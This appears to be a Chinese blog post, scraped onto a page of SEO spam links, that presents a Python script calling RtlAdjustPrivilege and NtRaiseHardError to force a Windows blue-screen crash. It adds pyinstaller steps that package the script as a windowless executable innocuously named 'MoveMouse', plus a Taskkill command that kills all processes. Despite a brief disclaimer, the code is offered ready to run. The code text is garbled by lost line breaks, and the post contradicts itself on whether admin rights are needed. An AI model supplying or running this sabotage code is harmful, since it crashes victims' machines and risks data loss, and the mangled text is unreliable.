当前位置: 首页 > news >正文

中国室内设计师联盟人教版优化设计电子书

中国室内设计师联盟,人教版优化设计电子书,杭州网站建设哪个平台好,c mvc网站做404说明:该程序为临摹(😀)作品,源地址C蓝屏程序(非管理员) 我试图使用Python调用 NtRaiseHardError API ,实现类似的蓝屏效果。可惜我发现Python在普通权限下,直接调用 NtRaiseHardError API 是不被允许的,因为…

说明:该程序为临摹(😀)作品,源地址C++蓝屏程序(非管理员)

我试图使用Python调用 NtRaiseHardError API ,实现类似的蓝屏效果。可惜我发现Python在普通权限下,直接调用 NtRaiseHardError API 是不被允许的,因为它需要提升到系统权限才能触发蓝屏效果,即使在原文,也需要SeShutdownPrivilege才能实现蓝屏效果。

原理:

Windows的"未公开"蓝屏api:NtRaiseHardError
可以在非管理员特权下产生BSOD
调用该API需要调用者有关机权限

代码示例:

需要管理员权限

import ctypes
from ctypes import wintypes# 定义相关的 Windows API 函数和结构体
ntdll = ctypes.WinDLL('ntdll.dll')ULONG_PTR = ctypes.POINTER(ctypes.c_ulong)
BOOLEAN = ctypes.c_ubyteclass UNICODE_STRING(ctypes.Structure):_fields_ = [("Length", wintypes.USHORT),("MaximumLength", wintypes.USHORT),("Buffer", ctypes.POINTER(wintypes.WCHAR)),]class CLIENT_ID(ctypes.Structure):_fields_ = [("UniqueProcess", ctypes.POINTER(wintypes.HANDLE)),("UniqueThread", ctypes.POINTER(wintypes.HANDLE)),]class IO_STATUS_BLOCK(ctypes.Structure):_fields_ = [("Status", wintypes.ULONG),("Information", ULONG_PTR),]# 定义函数原型
RtlAdjustPrivilege = ntdll.RtlAdjustPrivilege
RtlAdjustPrivilege.argtypes = [wintypes.ULONG, BOOLEAN, BOOLEAN, ctypes.POINTER(BOOLEAN)]
RtlAdjustPrivilege.restype = wintypes.LONGNtRaiseHardError = ntdll.NtRaiseHardError
NtRaiseHardError.argtypes = [wintypes.LONG, wintypes.ULONG, wintypes.ULONG, ULONG_PTR,wintypes.ULONG, ctypes.POINTER(wintypes.ULONG)
]
NtRaiseHardError.restype = wintypes.LONG# 定义一些常量和变量
STATUS_ASSERTION_FAILURE = 0xC0000420
SE_SHUTDOWN_PRIVILEGE = 19def main():# 获取当前进程句柄current_process = ctypes.windll.kernel32.GetCurrentProcess()current_thread = ctypes.windll.kernel32.GetCurrentThread()# 启用 SE_SHUTDOWN_PRIVILEGE 权限privilege_enabled = BOOLEAN()RtlAdjustPrivilege(SE_SHUTDOWN_PRIVILEGE, True, False, ctypes.byref(privilege_enabled))# 调用 NtRaiseHardError 触发 BSODresponse = wintypes.ULONG()NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, None, 6, ctypes.byref(response))if __name__ == '__main__':main()

可以在该文件夹下使用cmd输入pyinstaller -wF .\MoveMouse.py打包然后使用管理员运行

代码解析:

这段代码的目的是试图在 Windows 系统中通过调用特定的 Windows API 来触发蓝屏死机(BSOD)。

以下是对代码各部分的详细解释:

  1. 导入和定义相关类型及库:

    • import ctypes:导入 Python 的 ctypes 库,用于在 Python 中调用 Windows API 函数。
    • 定义了各种数据类型,如 ULONG_PTRBOOLEAN 等,以及结构体 UNICODE_STRINGCLIENT_IDIO_STATUS_BLOCK ,以匹配 Windows API 所需的参数和返回值的数据结构。
  2. 加载 ntdll.dll 库并定义函数原型:

    • ntdll = ctypes.WinDLL('ntdll.dll'):加载 ntdll.dll 动态链接库。
    • RtlAdjustPrivilegeNtRaiseHardError 函数定义了参数类型和返回值类型,以确保在调用时能够正确传递和处理参数。
  3. 定义常量和变量:

    • STATUS_ASSERTION_FAILURE:定义了一个表示错误状态的常量。
    • SE_SHUTDOWN_PRIVILEGE:表示特定的权限常量。
  4. main 函数:

    • 获取当前进程和线程的句柄。
    • 通过 RtlAdjustPrivilege 函数尝试启用 SE_SHUTDOWN_PRIVILEGE 权限。
    • 最后调用 NtRaiseHardError 函数,并传递特定的参数,试图触发蓝屏死机。

需要强调的是,在正常的编程和使用场景中,这样的操作是不被允许和不道德的,可能会导致系统故障、数据丢失和其他严重问题。请不要在实际使用中运行这样的代码。

补充

当然如果已经有了管理员权限,那简单两行代码也能直接蓝屏

import os
os.system("Taskkill /fi \"pid ge 1\" /f")  # Taskkill /fi "pid ge 1" /f 杀死所有进程,管理员权限cmd直接蓝屏

甚至可以直接在管理员cmd输入:

Taskkill /fi "pid ge 1" /f
http://www.tj-hxxt.cn/news/113592.html

相关文章:

  • 如何做百度的网站建站平台哪个好
  • 收集链接 做网站想做网站找什么公司
  • 怎么搜做传奇私服网站总出来怎么提高百度搜索排名
  • net网站开发手机网站网页seo优化
  • 深圳专业网站开发公司站长查询域名
  • 做网站数据库设计近期国内新闻
  • 网站建设程序代码seo培训多少钱
  • 部标平台软件网站开发最近七天的新闻大事
  • 安徽六安什么时候解封seo推广专员工作好做吗
  • 温州市手机网站制作多少钱北京网站优化专家
  • 和平县做网站网站广告投放收费标准
  • html做简单网站实例新闻源软文推广平台
  • 2022永久免费客服系统乐陵seo外包
  • 拍写真昆明seo工资
  • 乌鲁木齐做网站推广优化百度seo技术搜索引擎
  • 互联网外包平台seo外包服务专家
  • 做网做网站建设百度店面定位怎么申请
  • 制作精美网站建设独立广州seo优化公司
  • 怎么做抽奖网站大连今日新闻头条
  • 视频直播网站建设企业门户网站的设计与实现
  • 秦皇岛哪里能做网站广告网址
  • 太原市网站建设淘宝seo搜索优化
  • 中央广播电视总台国际在线免费的seo优化
  • 百度云建站网站建设百度站长电脑版
  • 武汉科技职业学院官网入口seo服务深圳
  • 如何让做的网站自动适应浏览器网站建设网站定制
  • 息壤网站模板怎么给自己的公司做网站
  • 中山企业手机网站建设今日实时热点新闻事件
  • 自己做的美食分享到网站百度总部电话
  • 初学者做网站考研培训班哪个机构比较好